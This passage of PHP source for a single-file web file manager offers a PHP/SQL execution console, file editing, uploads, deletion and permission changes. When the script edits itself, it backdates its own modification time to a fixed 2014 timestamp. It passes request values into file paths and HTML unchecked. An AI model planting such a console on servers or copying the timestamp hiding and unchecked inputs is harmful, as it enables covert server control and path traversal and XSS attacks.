<a href="<?php echo $url_inc . '&path=' . $path; ?>"><?php echo __('Back'); ?></a> <form action="" method="POST" name="console"> <textarea name="<?php echo $res_lng; ?>" cols="80" rows="10" style="width: 90%"><?php echo $res; ?></textarea><br/> <input type="reset" value="<?php echo __('Reset'); ?>"> <input type="submit" value="<?php echo __('Submit'); ?>" name="<?php echo $res_lng; ?>run"> <?php $str_tmpl = $res_lng . '_templates'; $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : ''; if (!empty($tmpl)) { $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : ''; $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key => $value) { $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun = 'fm_' . $res_lng; echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>'; } } elseif (!empty($_REQUEST['edit'])) { if (!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if ($_GET['edit'] == basename(__FILE__)) { touch(__FILE__, 1415116371); } else { if (!empty($fm_config['restore_time'])) { touch($fn, $filemtime); } } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?php echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit']; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <?php echo fm_home(); ?> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $editlink; ?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php echo htmlspecialchars($oldcontent); ?></textarea> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> <input type="submit" name="cancel" value="<?php echo __('Cancel'); ?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif (!empty($_REQUEST['rights'])) { if (!empty($_REQUEST['save'])) { if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rights') . ' - ' . $_REQUEST['rights']; ?> <input type="text" name="rights_val" value="<?php echo $oldrights; ?>"> <?php if (is_dir($path . $_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?php echo __('Recursively'); ?><br/> <?php } ?> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') { if (!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= __('File updated'); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rename'); ?>: <input type="text" name="newname" value="<?php echo $_REQUEST['rename']; ?>"><br/> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) { if (!empty($_FILES['upload']['name'])) { $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) { $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name']; } } } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') { if (!fm_del_files($path . $_REQUEST['delete'], true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted') . ' ' . $_REQUEST['delete']; } } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) { if (!@mkdir($path . $_REQUEST['dirname'], 0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created') . ' ' . $_REQUEST['dirname']; } } elseif (!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if (!empty($search_data)) { $msg .= __('Found in files') . ' (' . count($search_data) . '):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="' . fm_url(true) . '?fm=true&edit=' . basename($filename) . '&path=' . str_replace('/' . basename($filename), '/', $filename) . '" title="' . __('Edit') . '">' . basename($filename) . '</a> '; } } else { $msg .= __('Nothing founded'); } } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) { if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created') . ' ' . $_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source) . '.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) { $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } set_time_limit(0); //echo $destination; $ext_arr = explode('.', basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode('.', $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?php echo __('File manager'); echo !empty($path) ? ' - ' . $path : ''; ?></th> </tr> <?php if (!empty($msg)) { ?> <tr> <td colspan="2" class="row2"><?php echo $msg; ?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?php echo fm_home(); ?> </td> <td> <?php if (!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?php echo __('Make directory'); ?>"> </form> <?php } ?> </td> <td> <?php if (!empty($fm_config['new_file'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?php echo __('New file'); ?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?php echo $url_inc; ?>" style="display:inline"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" placeholder="<?php echo __('Recursive search'); ?>" name="search_recursive" value="<?php echo !empty($_POST['search_recursive']) ? $_POST['search_recursive'] : ''; ?>" size="15"> <input type="text" name="mask" placeholder="<?php echo __('Mask'); ?>" value="<?php echo !empty($_POST['mask']) ? $_POST['mask'] : '*.*'; ?>" size="5"> <input type="submit" name="search" value="<?php echo __('Search'); ?>"> </form> </td> <td> <?php echo fm_run_input('php'); ?> </td> <td> <?php echo fm_run_input('sql'); ?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?php echo $url_inc; ?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?php echo __('Select the file'); ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?php echo __('Upload'); ?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?php echo __('Hello'); ?>, <?php echo $auth['login']; ?> <input type="submit" value="<?php echo __('Quit'); ?>"> </form> <?php } ?> </td> <td> <?php echo fm_lang_form($language); ?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?php echo __('Filename'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Size'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Date'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Rights'); ?> </th> <th colspan="4" style="white-space:nowrap"> <?php echo __('Manage'); ?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file) { if (@is_dir($path . $file)) { $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file) { $filename = $path . $file; $filedata = @stat($filename); if (@is_dir($filename)) { $filedata[7] = ''; if (!empty($fm_config['show_dir_size']) && !fm_root($file)) { $filedata[7] = fm_dir_size($filename); } $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder"> </span> ' . $file . '</a>'; $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file); $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file); $style = 'row2'; if (!fm_root($file)) { $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } else { $alert = ''; } } else { $link = $fm_config['show_img'] && @getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img"> </span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file"> </span> ' . $file . '</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file); $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>'; $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?php echo $style; ?>"> <td><?php echo $link; ?></td> <td><?php echo $filedata[7]; ?></td> <td style="white-space:nowrap"><?php echo gmdate("Y-m-d H:i:s", $filedata[9]); ?></td> <td><?php echo $rightstext; ?></td> <td><?php echo $deletelink; ?></td> <td><?php echo $renamelink; ?></td> <td><?php echo $loadlink; ?></td> <td><?php echo $arlink; ?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="' . fm_site_url() . '">.</a>'; if (!empty($fm_config['show_php_ver'])) { echo ' | PHP ' . phpversion(); } if (!empty($fm_config['show_php_ini'])) { echo ' | ' . php_ini_loaded_file(); } if (!empty($fm_config['show_gt'])) { echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2); } if (!empty($fm_config['enable_proxy'])) { echo ' | <a href="?proxy=true">proxy</a>'; } if (!empty($fm_config['show_phpinfo'])) { echo ' | <a href="?phpinfo=true">phpinfo</a>'; } if (!empty($fm_config['show_xls']) && !empty($link)) { echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>'; } if (!empty($fm_config['fm_settings'])) { echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>'; } ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct() { if (!isset($this->errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . '.tmp')) { $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp'; return false; } $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb'); if (!$tmpArchive) { $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable'); rename($this->archive_name . '.tmp', $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . '.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . '.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __('No file') . __(' to ') . __('Archive'); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, 'rb')) { $data = fread($fp, 2); fclose($fp); if ($data == '\\37\\213') { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, 'rb'); } else { $this->tmp_file = fopen($fileName, 'rb'); } if (!$this->tmp_file) { $this->errors[] = $fileName . ' ' . __('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = ' (' . $message . ')'; } $message = __('Error occurred') . $message . ': <br/>'; foreach ($Errors as $value) { $message .= $value . '<br/>'; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __('No file') . ' ' . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename) <= 0) { $this->errors[] = __('Filename') . ' ' . __('is incorrect'); return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, 'rb')) == 0) { $this->errors[] = __('Mode ') . __('is incorrect'); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable'); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != '.' && $dir != '..') { $file_array_tmp = array(); if ($filename != '.') { $file_array_tmp[] = $filename . '/' . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace('\\', '/', $path); if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) { $path = './' . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header['filename'] == '') { continue; } if ($header['typeflag'] == 'L') { //reading long header $filename = ''; $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header['filename'] = $filename; } return true; } if ($path != './' && $path != '/') { while (substr($path, -1) == '/') { $path = substr($path, 0, strlen($path) - 1); } if (substr($header['filename'], 0, 1) == '/') { $header['filename'] = $path . $header['filename']; } else { $header['filename'] = $path . '/' . $header['filename']; } } if (file_exists($header['filename'])) { if (@is_dir($header['filename']) && $header['typeflag'] == '') { $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder'); return false; } if (is_file($header['filename']) && $header['typeflag'] == '5') { $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } if (!is_writeable($header['filename'])) { $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) { $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename']; return false; } if ($header['typeflag'] == '5') { if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file') . ' ' . $header['filename']; return false; } else { $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header['size'] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header['size'] % 512); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) { $file_dir = ''; } if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') { $file_dir = '/'; } $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header['filename'] = ''; return true; } if (strlen($binaryData) != 512) { $header['filename'] = ''; $this->__('Invalid block size') . ': ' . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum) { $header['filename'] = ''; if ($checksum == 256 && $header['checksum'] == 0) { return true; } $this->errors[] = __('Error checksum for file ') . $unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') { $header['size'] = 0; } $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename) { $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } // Last part of the header for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, 'wb9f'); } else { $this->tmp_file = fopen($this->archive_name, 'wb'); } if (!$this->tmp_file) { $this->errors[] = __('Cannot write to file') . ' ' . 